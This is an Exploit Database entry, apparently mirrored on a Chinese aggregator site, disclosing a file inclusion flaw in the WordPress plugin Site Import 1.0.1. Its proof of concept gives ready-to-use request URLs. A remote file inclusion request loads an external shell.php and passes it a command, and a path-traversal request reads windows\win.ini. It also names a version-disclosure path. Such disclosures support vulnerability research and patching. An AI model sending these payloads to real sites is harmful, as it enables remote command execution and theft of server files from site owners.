WordPress Plugin Site Import 1.0.1 – Local/Remote File Inclusion

• Exploit Database
• 126 阅读

• 作者： Wadeek
  日期： 2016-03-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39558/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

  # Exploit Title: WordPress Site Import 1.0.1 | Local and Remote file inclusion # Exploit Author: Wadeek # Website Author: https://github.com/Wad-Deek # Software Link: https://downloads.wordpress.org/plugin/site-import.1.0.1.zip # Version: 1.0.1 # Tested on: Xampp on Windows7 [Version Disclosure] ====================================== /wp-content/plugins/site-import/readme.txt ====================================== [PoC] ====================================== Remote File Inclusion == http://localhost/wordpress/wp-content/plugins/site-import/admin/page.php?url=http%3a%2f%2flocalhost%2fshell.php?shell=ls Local File Inclusion == http://localhost/wordpress/wp-content/plugins/site-import/admin/page.php?url=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini ======================================